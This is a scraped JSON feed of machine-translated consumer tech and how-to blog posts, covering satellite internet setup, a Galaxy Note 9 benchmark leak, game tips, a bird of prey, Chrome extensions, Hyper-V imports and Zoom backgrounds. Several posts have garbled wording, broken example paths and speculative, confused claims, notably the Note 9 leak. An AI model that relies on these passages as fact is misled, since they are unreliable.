cables in your home.  Part 3of 3:\nConnecting to Satellite Internet  Make sure you have the necessary equipment. Before attempting to connect to Satellite Internet, you'll need to have the following items available: Installed satellite dish Satellite Internet-capable modem Ethernet cable Power source   Position your computer. Your computer should be close to both your modem and your dish's coaxial cable(s). Most dish coaxial cables are under 125 feet in length, so you might have to position your modem accordingly.   Plug the modem into a power source. Using the modem's power cable, attach it to an electrical outlet near both your computer and the dish's coaxial cable.\n  Attach the modem to the satellite dish. Depending on your dish, you will have either one coaxial cable or two coaxial cables to attach to the modem:[2] One cable — Plug the cable into the modem's coaxial port. Two cables — Plug the \"IN\" cable into the \"SAT IN\" coaxial port, then plug the \"OUT\" cable into the \"SAT OUT\" port.   Connect your computer to the modem. Plug one end of the Ethernet cable into the back of the modem, then plug the other end of the cable into your computer's Ethernet slot. If you're using a Mac which doesn't have an Ethernet slot, you can buy an Ethernet to Thunderbolt adapter for this step.   Wait for your computer to establish an Internet connection. As long as your dish is currently receiving a signal from its pertinent satellite, you should be able to begin browsing within a minute of connecting your computer to the modem.\n  Use a wireless router. If you're connecting more than one item to the Internet, you'll need to plug your modem into a wireless router via an Ethernet cable and then use each item's Wi-Fi menu to connect to the router. Using a wireless router isn't recommended unless absolutely necessary; since Satellite Internet is already patchy under normal circumstances, using a wireless router may further dilute your signal.   Jessica Tanner Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq0rdOeo6WhpJp6qrrTnqmnnaQ%3D\n","link":"/post/how-to-use-satellite-internet/","section":"post","tags":null,"title":"How to Use Satellite Internet"},{"body":"On August 9, the new Galaxy Note 9 was officially launched in the Unpacked event, but information about the smartphone has been revealed by many sources.\nAnd on July 16, Geekbench posted the results of a smartphone with 12,246 multi-core, highest performance points in the world today. This result is believed to be Samsung Galaxy Note 9 with code SM-N960X. Geekbench is a dedicated site scoring mobile devices.\n  The model is said to be Galaxy Note 9 using Exynos 9820 chip, before this model has revealed a different transcript with the code SM-N960 using Exynos 9810 chip.\nAccording to Geekbench results, the SM-960X model has the highest performance score this site ever recorded with single-core 4.089 and multi-core 12,246. Exynos 9820 chip helps Galaxy Note 9 version increased significantly compared to version 9810 (single point 3.716 and multi-core 8,984), even breaking the record of iPhone X with a score of 10.127.\nIf this leaked information is correct, maybe Samsung decided to upgrade Galaxy Note 9 hardware at the last minute.\n  The leaked information also shows that the Note 9 can also be upgraded with the S-Pen to add functionality as a slide show support device.\nSee more:\nSamsung Galaxy Note 9 phone can be released in early July or August this year The most noticeable \"leaks\" about Galaxy Note 9 The highest performance Android 10 smartphone chart as of June 2018 ncG1vNJzZmismaXArq3KnmWcp51ku7DAxGZwZq%2BZoblursRmq6GdXay8s7jDrGSmp6OperG71p6pn62cYsCurdGtp6Gnnpo%3D\n","link":"/post/note-9-will-be-the-world-s-most-powerful-smartphone/","section":"post","tags":null,"title":"Note 9 will be the world's most powerful smartphone?"},{"body":"Gold, also known as Gold, is the most important currency in Dota Auto Chess plays an important part in the player's victory, in addition to players having to know how to make a lot of gold in Dota Auto Chess, they must know how to manage and use so that the gold I earn is not wasted anymore.\nIf the more you go to the end of the game, the more gold you will save, you will have a huge advantage. Because at this stage, upgrading the chess pieces will be very expensive and you have to raise a \"9\" to 10 children. A level upgrade for chess pieces from 8 to 9 can be up to 40 gold and there will be an average of a few level 2 or level 3 chess pieces.\nAt the beginning, level 1 chess pieces can be purchased for 1 - 5 gold prices, if you want to level 2, you will need 3 same level 1 troops. Going to level 3 requires 3 level 2 troops and the same level 4 is similar, meaning that you will need 9 level 1 chess pieces to gain 1 level 3, on average you will spend about 150 to 200 gold at the same time. The final game and the chess board are fully upgraded, not including 100 excess gold to up the 9 - 10 level of troops at will.\nDota Chess Auto: How to get Candy for free and use Candy to buy Couriers Some simple but useful Dota Auto Chess tips Dota Auto Chess: How to build teams according to each stage of the most effective match How to earn gold in Dota Auto Chess and manage gold in the most effective way 1. Gold earns from every rounds   The first gold source you can earn is after each round, each round of victory will earn you 1 gold, and if you have a series of consecutive wins or consecutive losing series you will earn 3 gold. If you win continuously, you will get deeper (30-40 rounds).\nHowever, when you do not win or not lose, you will only receive 1 gold, you need to keep the series successive, and even the losing sequence to get the highest amount of gold possible. However, with the losing sequence, this is an intention to help you go long to support the team, main only keeps the amount of blood 2/3 is enough. Although this is quite a dangerous game, but now this is a high level play that you can apply.\n2. Gold earns after 10% interest   The second is to earn Gold from the bank, every 10 gold deposited in the bank you will receive 1 gold interest. Similarly, around 30 - 40 you will earn 3-4 gold every round. The largest amount of gold you can deposit in a bank is 50 gold, and 5 gold is the amount of gold you will receive, which is the largest amount of gold you can receive after each series of winning / losing.\nAnother important thing is that you must not lose the first 5 rounds until you have 5 pieces on the table, the amount of gold earned after the losing sequence only starts when you have 5 - 6 pieces on the table. You can also sell level 1 chess pieces without fear of losses (the maximum number of pieces retained is 8).\n  So keep the most important pieces to deal with in the first rounds (5-7 rounds), to win the winning sequence. After having enough pieces you can gradually sell unused level 1 troops to reach certain gold landmarks (10, 20, 30 .).\nIf you have reached nearly 10 gold, you can sell unused soldiers to reach 10 gold and send gold to the bank as soon as possible. And when you have reached nearly 20 gold, you can sell 2 - 3 gold units to gain faster milestones, or increase the number of new levelers to reach the next 5 gold shortages as quickly as possible.\nOnce you have balanced your sales, gold deposits and win / lose chains, you will get richer quickly, from which you can take up the strategy at the end of the game.\nncG1vNJzZmismaXArq3KnmWcp51ksbDAwGaYrqyfYrCpsdKsZK2glWK6sL%2FTZpyfnpWYwarCxGaroqijYrOwvoymmKShnpx6qLvLnWSappRiwrS1zaBkoKecmQ%3D%3D\n","link":"/post/the-most-effective-tips-for-making-gold-and-using-gold/","section":"post","tags":null,"title":"The most effective tips for making gold and using gold"},{"body":"Secretary bird (Secretary bird) is a large bird of prey, living mainly on grasslands in Africa. They do not fly as high as other birds to hunt but roam the ground in search of food.\nThe flying owl catches the \"lightning\" prey of the world's fastest flying bird The most unique dance of love in the natural world of extinct birds Snake-eating kites have a very special appearance, their bodies resemble an eagle but possess high legs that reach up to nearly 1m cranes. The powerful combination between the eagle and the crane helped them both to spread their wings in the air at an altitude of 3,000 meters and to be able to resist the prey of the prey.\n  This bird possesses masterful hunting skills in the African steppe, long legs that help them run fast and can observe prey from above. When a prey is found, kite birds eat snakes to approach and launch continuous attack attacks with their legs that look like Taekwondo martial arts. After that, they used a beak to bury the dead prey.\n  With prey running too fast, snake-eating kites will both run and spread their wings so that the prey cannot escape.\nSnake is a favorite dish of this bird, this is the cause they call them snake-eating kites. In addition, they eat small animals, insects, lizards, young birds, and even young Gazelle antelopes.\nA close-up video of snake-eating kite birds using toenails to attack continuously on prey and re-snake feeding in just 1 minute below will show us their skill of hunting and predatory .\nncG1vNJzZmismaXArq3KnmWcp51kwamxjK6jraGdlsGmedKnmKSdXajCs7PEq7Bmp5ZiwamxjK2YpaRdl7azsIyiqmabkaG5prCMrZ%2BeZaSWsqzDzqebqGWbnrmtsdE%3D\n","link":"/post/the-ultimate-snake-surgery-of-the-tall-bird-is-called-the-taekwondo-killer/","section":"post","tags":null,"title":"The ultimate snake surgery of the tall bird is called the 'Taekwondo killer'."},{"body":"If a user subscribes to a Premium subscription for $ 12 a month from YouTube, they can watch the video without advertising, watching offline and watching original YouTube Originals content produced by YouTube.\nHowever, from 2019, YouTube will provide its original content for free to all global users, but with ads like other videos. Because so far, YouTube has invested too little in the original content so it has not attracted the attention of users. According to the Hollywood Reporter, YouTube's few hundred million dollars of original content investment is too small compared to Netflix and Amazon's several billion dollars.\n  YouTube hopes to provide free original content for all users to create a new generation of YouTube creators and viewers.\nAlong with allowing users to view original content for free, YouTube also announced that it would completely remove all annotations on the video from January 15, 2019.\nIn fact, the annotation editing feature on YouTube has been stopped since May 5/2017, it is not possible to create new comments on the video but the old comments are still displayed.\nFor many people, these annotations are not only useful but also annoying when watching videos. But completely removing comments will also cause some problems like annotation for the error link, the wrong details in the video will also disappear.\n  YouTube also added 2 new features for the creators to use instead of captions, which are End screens and Cards. Both of these features have helped to generate 7 times higher clicks than annotations, improving the chances of interaction between viewers and videos, especially they all work on mobile devices.\nCards: Used to direct viewers to the website, display images, titles or embed votes to receive feedback from viewers. End screen: Creator can use to encourage users to subscribe and advertise other videos. See more:\nVideos on YouTube will have 2 ads appearing continuously to reduce discomfort for viewers YouTube offers 100 Hollywood copyrighted movies with ads Youtube Kids was officially present in Vietnam, invited to download and experience ncG1vNJzZmismaXArq3KnmWcp51kxrDB066ZnmWnnrmtecWrnJ5lpJ2ybrHNraCrnV2kv6qzyKeYpWWTpLu1sc2tZJqmlGKxprjErZxmmZyheqK6zairmqyZpLu0ec6nZK2glWLDqrDEqGSfqp%2BienN8kHI%3D\n","link":"/post/youtube-will-free-the-entire-original-content-and-delete-all-annotations-on-the-video-from-2019/","section":"post","tags":null,"title":"YouTube will free the entire original content and delete all annotations on the video from 2019"},{"body":"Extensions are extensions to the browser, making web surfing smoother and more enjoyable. There are also extensions specifically for each user wall such as coder, designer, office people, accountant . Depending on the area you are interested in, you choose the appropriate extensions for you.\n  In this article, we will introduce extensions for the Chrome browser , targeting users who are Facebookers.\n1 / Faceboook Messenger: Facebook Messenger is an application that has been launched on both Android and iOS for a long time. Previously Firefox also integrated Faceboook Messenger for its browser, but it still has not seen anything about Chrome integrating Faceboook Messenger for their browser.\n  As its name suggests, Facebook Messenger is Facebook's instant messenger, which opens a separate window so you can send and receive messages, view friend requests, notify .\n  Click on the left menu button, the program will open a navigation panel including News Feed , Messages, Event, Find Friends .\n2 / Faceboook Chat Fix: After switching to the Timeline interface for users, the chat dialog is also changed by Facebook, the frame of online friends list is divided into two, one displays your friends list, the other displays the activities. The latest they just made. There are many people who are interested in this change but there are also people who feel uncomfortable when any other person's activities \" catch \" you too .\n  If this is the case, you can switch this chat dialog to the same interface using the Faceboook Chat Fix extension .\n3 / Facebook Panda: If you are not a fan of Bing or Microsoft , you will feel uncomfortable when Facebook uses Bing's map as the main map for Facebook users.\n  Pando Facebook is a map extension using Google Maps map, Pando will replace Bing in Facebook map with Google Maps, this is completely automatic, you do not need to perform any editing action.\n4 / Status Snapper: One of Facebook's worthwhile features is used by users to share each other's content, images, videos . that is the Share feature. This contributes to better interaction between users.\nBut there are many people who do not like others to share their content, images for some reason . If this is the case, you can deftly share that person's content but obscure that person's avatar and below commenters.Extension Status Snapper will help you do this.\n5 / FB Album Mod:   Have you ever looked at your friends' photo albums on Facebook and you wonder how to download all the photos in this album? Facebook lets you upload multiple photos at once, but there is no function to download multiple photos at once.\n  If you are on the album image page, you can press the Normal button to start downloading the album. If you are opening an image from any album, just copy the ID of the image from the URL , then click Load frome special id , the extension will automatically download the album containing the image.\nncG1vNJzZmismaXArq3KnmWcp51kfnF51Kycn62cYrCpvs6mnGadqKmyr7%2FIqKWsZZakv26ywJycm6efoLKzec%2Baqa1lYQ%3D%3D\n","link":"/post/10-useful-chrome-extensions-for-facebooker-part-1/","section":"post","tags":null,"title":"10 useful Chrome extensions for Facebooker (Part 1)"},{"body":"After iOS 9.3.5 sign lock of devices using Apple A5 chip, Apple surprised users when there is a sign opening move for iOS 7, iOS 8 versions on iPhone 5, iPhone 5S.\nUpdate 16:22: Apple just locked the iOS versions lower than 11.2, give condolences to you.\nAccording to information on IPSW.me, Apple has unlocked lower iOS versions for iPhone 5, iPhone 5C or iPhone 5S. With iPhone 5 users can downgrade to versions like iOS 8.0, iOS 7.1.1, iOS 7.1 or iOS 7.0.4. This also happens with iPhone 5C, 5S with similar versions.\n  Note: This information is taken from the IPSW.me website, a well-known and reputable Apple sign-up page. We will not be responsible if you downgrade defective and forced to upgrade to the latest iOS. If you want to downgrade to lower iOS versions, be sure to back up the data before proceeding.\nYou can check and download the iOS version at the following link: Download iOS Firmware for iPhone, iPad, iPod Touch, Apple Watch and Apple TV.\nThe way to downgrade to iOS 7 and 8 is similar to how to downgrade from iOS 11 to 10.3.3, you can look at: How to downgrade iOS 11 to iOS 10.3.3 for iPhone 6S\nSee more:\nThe iOS 10.1 downgrade guide for iPhone / iPad has lost battery How to downgrade iOS 11 beta to iOS 10 ncG1vNJzZmismaXArq3KnmWcp51ku6bDjKecsKtdlr2xuMRmoKxloJbDqrrGZquhnV2srrp5xaipZqGfqHp4eZdmcGaZnpl6cnyMnaawppenrqWx0madqKpdory0wIyip6GnnprA\n","link":"/post/apple-is-paving-the-way-for-ios-7-8-9-and-10-downgrades-for-most-iphones/","section":"post","tags":null,"title":"Apple is paving the way for iOS 7, 8, 9, and 10 downgrades for most iPhones"},{"body":" This wikiHow teaches you how to make your PC or Mac computer start up at a specific time. If you're using a PC running any operating system (Windows or Linux), you can schedule automatic startups in the system BIOS. If you're using a Mac,...\nMethod 1of 2:\nUsing a PC  Reboot your PC into the BIOS. The option to start your PC on a particular schedule is available in the BIOS, which you can access by pressing a specific key at boot time. This key is usually Del, F8, or F12, or F10. If you're using a newer Windows 10 PC, try using these steps to enter the BIOS:[1]: Right-click the Start menu and select Settings. Click Update \u0026amp; Security. Click Recovery. Click Restart Now under \"Advanced Startup.\" When the computer comes back up, click the Troubleshoot menu. Click Advanced Options Click UEFI Firmware Settings and click Restart.   Navigate to Power on Alarm or RTC Alarm option. The name of this menu varies by manufacturer and may be in a menu called Advanced.[2]\n  Select a schedule frequency. The steps to do this vary by PC, but you'll usually use the arrow keys on the keyboard to highlight the day of the week on which you want the computer to start at a certain time, then press a key to toggle on Enable or Disable for that day. Depending on the BIOS, you may have the option to choose a broader option like Every Day.   Enter the time you want the PC to power on. You'll usually use the arrow keys to select an option called Time, though some BIOS settings require you to enter the hour, minute, and second separately.[3]\n  Save your changes and exit the BIOS. If your BIOS has a menu running along the time of the screen, you can usually save an exit by selecting the File menu and choosing Save Changes and Exit. If not, the Save or Save and Close key should be clearly marked on the screen. Once you've exited the BIOS, the PC will restart as normal and your changes will be saved.\n  Samuel Daniel Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmlqbyurdOimpqknK56tcHRp2Sopl2WeqS7zKmsrZ2iYq61ecBmqqmdk56zqrHDZquipZU%3D\n","link":"/post/how-to-automatically-turn-on-a-computer-at-a-specified-time/","section":"post","tags":null,"title":"How to Automatically Turn On a Computer at a Specified Time"},{"body":"Unfortunately, with Windows 10 and new ways of printing - like over WiFi and the cloud - that ease seems to be gone. But in a few simple steps, you can restore that accessibility.\nThe following article will show you how to create a printer shortcut on Windows 10 and place an icon on the taskbar.\nBefore setting the printer shortcut Make sure that you have installed the complete software package for the printer you want to use. You can usually find this driver software on the manufacturer's website. Some manufacturers even have dedicated apps to help you with this setup process.\nThen connect the printer to the computer. For a wired printer, turn it on and plug it into your PC. Alternatively, here's how to connect a WiFi printer to a computer to print wirelessly.\nOpen the Start menu, type Settings, and go to the Settings app that appears in the search results. Next, click Devices and navigate to Printers and Scanners on the left.\n  From there, click Add a printer or scanner and wait for the computer to scan for available printers.\n  Click the link The printer that I want isn't listed.\n  Select the Add a printer using a TCP/IP address or hostname option and click Next.\n  Enter the IP address of the WiFi printer you want to connect to and press the Next button.\n  You can set this printer as the default printer in Windows 10 to save time in the future.\nCreate a printer shortcut on the desktop Go to device settings to find the printer name. You will need to know the exact name of the peripheral to set up the printer shortcut on the taskbar. Once you have that information, you can start setting up a shortcut for your print queue.\nRight-click anywhere on the empty space of the desktop and hover over the New option. From the drop-down menu, select Shortcut to open the Create Shortcut window.\n  Enter the following in the shortcut location bar:\nrundll32.exe printui.dll,PrintUIEntry /o /n \"[Printer Name]\" Be sure to replace [Printer Name] with the exact name of the printer you use, but leave the quotation marks intact.\nWhen you click Next, Windows will prompt you to name the new shortcut. Name the printer shortcut here.\n  Everything is done! You have successfully created a printer shortcut on the desktop. Try double-clicking the shortcut to make sure it works properly. You'll see a printer queue window open with any active or incomplete jobs on the list.\nAdd icon for printer You can leave the printer shortcut as is or set it an icon to make it easier to identify. To create a custom icon, right-click it and select Properties.\nThen click the Change Icon box. If you want to use Windows' built-in icons, browse to shell32.dll and select a printer icon of your choice. If you want something different, you can even download an icon pack for Windows 10 and set the downloaded icon as the default icon for the printer shortcut.\n  From here, it's easy to set up a printer shortcut on the Windows 10 taskbar: Right-click the desktop shortcut and choose Pin to taskbar. The printer shortcut is also in the Windows 10 taskbar, and you can remove (or move) the desktop shortcut if you want.\ncreate shortcut ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZKmqmaPBpr6MrJ%2BoqqSYwrV5zqdksKGemby4v4xqZw%3D%3D\n","link":"/post/how-to-create-a-printer-shortcut-on-windows-10/","section":"post","tags":null,"title":"How to create a printer shortcut on Windows 10"},{"body":"The following article introduces you in detail how to create Photo Albums in PowerPoint.\nYou don't need to use any specialized software, with PowerPoint 2013 you can easily create your own Album .\nStep 1: Go to the Insert tab -\u0026gt; Images -\u0026gt; Photo Album -\u0026gt; New Photo Album .\n  Step 2: A dialog box appears, click File / Disk to select the path to the image to create Album:\n  Step 3: The Insert New Pictures dialog box appears -\u0026gt; select the image you want to create Album -\u0026gt; click Insert:\n  Step 4: The selected image is assigned in the dialog box -\u0026gt; want to change the position of the image -\u0026gt; tick the image to be changed -\u0026gt; use the down and up arrows to move the image as desired, If you want to delete the image from the Album, click Remove:\n  Step 5: Check all images selected Fit to Slide to all images size to fit Slide:\n  Step 6: Change the brightness of the image by clicking the icon on the right:\n  Step 7: Change the direction and angle of the image by clicking the icon on the right:\n  Step 8: After you have finished editing -\u0026gt; click Create to create Album:\n  Step 9: The first slide shows the name of the Album -\u0026gt; enter the content for the Album name , the remaining slides contain photos on the album and each photo / 1 slide:\n  - In addition, you can choose to add effects to photos in Album by clicking Animations -\u0026gt; Animation -\u0026gt; choosing effects:\n  - Finally press F5 to view all the Albums you have created:\n  Above is a detailed guide on how to create Photo Albums in PowerPoint.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYypn6isn2Kura7UpmSipl2lvLix0ammoqak\n","link":"/post/how-to-create-photo-album-in-powerpoint/","section":"post","tags":null,"title":"How to create Photo Album in PowerPoint"},{"body":"General information As we know, Hyper-V allows running virtual computer systems on a physical server.These virtualization systems (also known as guest) can be used and managed similarly to physical computer systems, however, they basically exist in Virtualized and isolated environment.\nYou can use Hyper-V export and import functions to quickly copy virtual machines.Virtual machines can then be used to back up data, or it could be a way to move a virtual machine between Hyper-V servers.\nThe import function allows you to restore virtual machines.You don't need to export a virtual machine to import it again.Simply understood, the import function will attempt to recreate the virtual machine from anything available.The import of a virtual machine will register that virtual machine with the Hyper-V server.An exported virtual machine can be imported back into the server from which it was created, or it can also be imported into a new server.\nThis article will show you how to import a Hyper-V virtual machine (client) on your Windows 10 computer (server).However, you must log on to Windows as an administrator to be able to import the Hyper-V virtual machine.\nNote: Hyper-V is only supported in Windows 10 Pro, Windows 10 Enterprise, and Windows 10 Education versions.\nHow to import Hyper-V virtual machines in Windows 10 General information Proceed to import Hyper-V virtual machines using the Hyper-V Manager Enter Hyper-V virtual machines using PowerShell Proceed to import Hyper-V virtual machines using the Hyper-V Manager 1. Open the Hyper-V manager (Hyper-V Manager).\n2. On the left side, select the Hyper-V server you want to import a virtual machine into (for example: \"BRINK-DESKTOP\") and click Import Virtual Machine in the Actions pane on the right (see screenshot below).\n  3. In the Before you Begin window, click Next (see screenshot below).\n  4. Click Browse , then navigate to and select the folder (eg \"Windows 7 Ultimate\") containing the virtual machine (.vmcx file) you want to import, click Select Folder and then Next (see snapshot) screen below).\n  5. Select the virtual machine (eg \"Windows 7 Ultimate\") that you want to import, and click on Next (see screenshot below).\n  6. Select the input type you want to perform, click Next and go to step 7 or step 8 below (depending on the input method you have selected (see screenshot below).\nInput type\nDescribe\nRegister the virtual machine in-place (register the virtual machine in place)\nThe current location of the Export file is the place from which the virtual machine will be run.When imported, the virtual machine will have the same ID as when it was exported.Therefore, if the virtual machine has been registered with Hyper-V, it needs to be deleted before the import is performed.When the import process is complete, the Export files will become files in the running state and cannot be deleted.\nRestore the virtual machine\nYou are given the option to store VM files in a specific location or use the default locations for Hyper-V.This input will create a copy of the exported file and move them to the selected location.When imported, the virtual machine will have the same ID as when it was exported.Therefore, if the virtual machine is already running in Hyper-V it needs to be deleted before the import can be completed.Once the import process is complete, the exported files will not be affected and can be deleted or re-imported.\nCopy the virtual machine\nThis input is similar to the recovery type above, in which you select a location for VM files.The difference is that when you import the virtual machine there will be a new unique ID.This allows virtual machines to be imported into the same server multiple times.\n  7. If you select Register the virtual machine in-place\nClick Finish on the Summary window and go to step 9 below (see screenshot below).\n  8. If you select Restore the virtual machine or Copy the virtual machine\nA) If you want, you can specify new or immediate use of existing directories to store virtual machine files.When done, click Next .(see screenshot below).\n  B) Browse and select the folder where you want to store the imported virtual hard disks (.vhdx files) for this virtual machine and click on Next (see screenshot below).\n  In the Summary window, click Finish and move on to step 9 below.(see screenshot below)\nNote: It may take a while for the computer to finish copying virtual machine files and hard disks to the selected folder location (s).\n  9. The Hyper-V virtual machine (for example, \"Windows 7 Ultimate\") is now imported into the selected Hyper-V server (for example, \"BRINK-DESKTOP\").(see screenshot below)\n  10. After completing the virtual machine import, you can close Hyper-V Manager if you want.\nEnter Hyper-V virtual machines using PowerShell 1. Open PowerShell.\n2. Perform step 3 (in-place), step 4 (in-place) (in-place) or step 5 (copy) below for the input type you want to perform.\n3. Register the virtual machine in place (Register the virtual machine in-place) (use existing unique ID)\nAttention\nThe current location of the Export files is where the virtual machine will be run.When imported, the virtual machine has the same ID as when it was exported.Therefore, if the virtual machine has been registered with Hyper-V, it needs to be deleted before the import process can proceed.When the import process is complete, the Export files will become running status files and cannot be deleted.\nA) Type the command below into PowerShell, press Enter and go to step 6 below (see screenshot below).\n Import-VM -Path ' full path of virtual machine file .vmcx '  Note: Replace the ' full path of the virtual machine file .vmcx ' in the above command with the actual full path of where the .vmcx virtual machine file you want to import is located.\nFor example\n Import-VM -Path ' D: Vitual Machines Windows 7 UltimateVirtual Machines7BEDECF9-E91F-4115-9E86-BBFEE136D881.vmcx '      4. Restore virtual machine (Restore the virtual machine) ((using existing unique ID)\nAttention\nYou have the option of storing VM files in a specific location or using the default locations for Hyper-V.This input will create a copy of the exported file and move them to the selected location.When imported, the virtual machine has the same ID as when it was exported.Therefore, if the virtual machine is already running in Hyper-V, it needs to be deleted before the import process can be completed.Once the import process has completed, the exported files will not be affected and can be deleted or re-imported.\nA) Type the following command in PowerShell, press Enter and go to step 6 below (see screenshot).\n(To use the default Hyper-V directory for importing and copying virtual machines .vmcx and .vhdx files on virtual hard disks)\n Import-VM -Path ' full path of .vmcx ' file -Copy  Or\n(To specify the Hyper-V directory for importing and copying virtual machines .vmcx and .vhdx files on virtual hard disks)\n Import-VM -Path ' full path of the .vmcx ' -Copy -VhdDestinationPath file ' full path of the directory to copy the full .vhdx' -VirtualMachinePath 'file of the directory to copy the .vmcx file '  Note\nReplace the ' full path of the .vmcx file ' in the above commands with the actual full path of where the .vmcx virtual machine file you want to import is located. Replace the ' full path of the directory to copy the .vhdx file ' in the second command above with the actual directory path of where you want to copy the virtual hard disk .vhdx file of the virtual machine you want to import. Replace the ' full path of the directory to copy the .vhdx file in the second command above with the actual directory path of where you want to copy the .vmcx virtual machine file of the virtual machine you want to import. For example:\n Import-VM -Path ' D: Vitual Machines Windows 7 UltimateVirtual Machines7BEDECF9-E91F-4115-9E86-BBFEE136D881.vmcx' -Copy -VhdDestinationPath 'D: Vitual MachinesWindows 7 Ultimate - Copy' -VirtualMachinePath 'D: Vitual MachinesWindows 7 Ultimate - Copy '    5. Copy the virtual machine (Copy the virtual machine) (create a new unique ID)\nThis type of input is similar to the Restore type above, in which you select a location for VM files.The difference is that when the virtual machine is imported, it will have a new unique ID.This allows Virtual Machines to be imported into the same server multiple times.\nA) Type the following command in PowerShell, press Enter and go to step 6 below (see screenshot).\n(Use the default Hyper-V directory to import and copy the virtual machine .vmcx and the .vhdx files on the virtual hard disk)\n Import-VM -Path ' full path of the .vmcx file ' -Copy -GenerateNewId  Or\n(Specify the Hyper-V directory to import and copy the virtual machine .vmcx and the .vhdx files on the virtual hard disk)\n Import-VM -Path ' full path of the .vmcx ' -Copy -VhdDestinationPath file ' full path of the directory to copy the .vhdx' -VirtualMachinePath 'file The full path of the directory to copy the .vmcx file -GenerateNewId  Attention\nReplace the ' full path of the .vmcx file ' in the above commands with the actual full path of where the .vmcx virtual machine file you want to import is located. Replace the ' full path of the directory to copy the .vhdx file ' in the second command above with the actual path of the directory where you want to copy the virtual hard disk .vhdx file of the virtual machine you want to import. Replace the ' full path of the directory to copy the .vhdx file ' in the second command above with the actual path of the directory where you want to copy the .vmcx virtual machine file of the virtual machine you want to import. For example:\n Import-VM -Path ' D: Vitual Machines Windows 7 UltimateVirtual Machines7BEDECF9-E91F-4115-9E86-BBFEE136D881.vmcx' -Copy -VhdDestinationPath 'D: Vitual MachinesWindows 7 Ultimate - Cop y' -VirtualMachinePath ' D: Vitual MachinesWindowsPath ' D: Vitual MachinesWindows 7 Ultimate - Copy -GenerateNewId    6. Once done, you can close PowerShel if you want.\nGood luck!\nSee more:\nHow to export Hyper-V virtual machines in Windows 10 Setting up Ubuntu virtual machine with Hyper-V Quick Create on Windows 10 Create virtual machines with Hyper-V on Windows 8 and Windows 10 Instructions for installing Ubuntu on VMware Workstation - Part 1 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGdpbyzwIyhsKmdoqt6t7XRrayapF2irqS0yKecrGWZo3q4tc2dprCrXWZ9\n","link":"/post/how-to-import-hyper-v-virtual-machines-in-windows-10/","section":"post","tags":null,"title":"How to import Hyper-V virtual machines in Windows 10"},{"body":"Laplace M is an open world RPG game that allows you to choose one of the available character classes including Mage, Assassin, Warrior or Cleric to join the tasks in Laplace M and explore the fascinating, romantic but Equally dangerous.\nTo install Laplace M on a computer, players can use supported Android emulators on Windows. However, for the smoothest play, you should use the GameLoop emulator, here's how to install Laplace M on a PC.\nHow to emulate old Pokémon games on Android phones Instructions to play Android games on PC with LDPlayer How to install and play Hay Day on the computer Instructions for installing Laplace M on a PC Download Gameloop for computers\nStep 1: First, you download and install Gameloop if you do not already have it, then go to GameCenter, select Laplace M from the list and click it\u0026gt; then click Install .\n  Then wait for the game to download, the size of Laplace M is over 2GB.\n  In the meantime, Laplace M will also be displayed in the My Games section.\n  Step 2: After downloading and installing, Laplace M will automatically boot up.\n  Step 3: Wait a while for Laplace M to set up, then the login window will appear. Here you can use your Facebook, Google, Twitter or Line accounts to login. If you want to play guest mode, click on Guest .\n  Step 4: Select the server you want to play and click Start Adventure to enter the game.\n  Step 5: Then select the character gender and your character class\n  Next, select your avatar, create your character's appearance, name it and click Start Adventure to start playing Laplace M on your PC.\n  Step 6: Gameloop has pre-installed the most convenient default keys for you to control. To control character movement, left click.\n  If you want to reinstall the controller, you can press the keyboard icon in the right column to reinstall.\n  How to install Laplace M on a computer has become much simpler when this game is in the Game Center list of Gameloop. All controls are pre-installed and gamers just come into play. Thus, the rookie will also have a very easy start.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmo5qonJawpnnMZqanZZFisLC5z66rnqo%3D\n","link":"/post/how-to-install-laplace-m-on-a-computer/","section":"post","tags":null,"title":"How to install Laplace M on a computer"},{"body":"Zoom is an extremely useful way to host video meetings or webinars. It provides some very useful features that other online conferencing tools do not have, such as the option to use a virtual background (Virtual Background) in calls. Just set this feature and you will no longer have to worry about your cluttered room anymore.\nNote : You can turn on Virtual Background for Zoom on PC, Mac and iOS (iPhone 8 and above, iPad Pro, iPad 5th and 6th generation and above).\nHow does the Virtual Background feature in Zoom work? To use the virtual background feature for video chats in Zoom, you need a PC or Mac with fairly high specs to enable this feature. That means a Mac or PC will need a recent version of the high-end quad-core operating system and processor.\nIf you have an older system with lower specs then you'll need to put a green screen behind so that Zoom can select it and switch your background to a more aesthetic backdrop than before.\nZoom.us support site provides complete details about what is needed for your system. At least a quad-core or higher processor is required to fully utilize this feature.\nHow to set Zoom's Virtual Background feature You should use a high quality webcam and avoid wearing clothes of the same color as the virtual background. Please follow the instructions below to set your background.\nHow to use Zoom's Virtual Background feature Assuming your PC or Mac is compatible with the virtual background feature, it's easy to set up. Here's how to do and hide all the mess behind you.\nNote : These instructions work for both Mac and Windows computers running the Zoom application.\n1. Open the Zoom application .\nNote : You may need to log in at this stage.\n2. Click Settings.\n3. Click Virtual Background .\n4. Click a virtual background you like.\n5. If your PC / Mac is strong enough, the virtual platform will immediately be applied.\n6. If you have a low system specification, set the green screen behind you and check the I have a green screen box to see your virtual background correctly.\nHow to add a virtual background between a meeting? If you're halfway through the meeting and realize you need to hide something behind, there's a simple way to do this.\n1. During a call, click the up arrow next to Stop Video .\n2. Click Choose Virtual Background .\n3. Choose a virtual background from the list of available options.\n4. Close Settings.\nThe virtual background will now be in place, hiding anything in the actual background of the call.\nHow to add your image as a virtual background Zoom comes with its own virtual background source, but you can add your own images if desired. Here is how to do it.\n1. On the Zoom app, click Settings.\n2. Click Virtual Background .\n3. Click the plus sign next to Choose Virtual Background .\n4. Browse to find the image you want to add.\n5. Click Open.\n6. Image now becomes your virtual background.\nTo delete the background, click the x on the image thumbnail.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq7u86mqmaumafBtq3LZpmam5ucv7DBzZ1kn52RqcKzsQ%3D%3D\n","link":"/post/how-to-use-zoom-s-virtual-background-feature/","section":"post","tags":null,"title":"How to use Zoom's Virtual Background feature"},{"body":"Apple computers have a zoom feature enabled in their operating system, so you can zoom no matter what program you are using. You can choose to zoom out on your browser, or to zoom your entire Mac screen. Follow these instructions to zoom...\nMethod 1of 4:\nMac Zoom Preferences  Select the Apple icon in 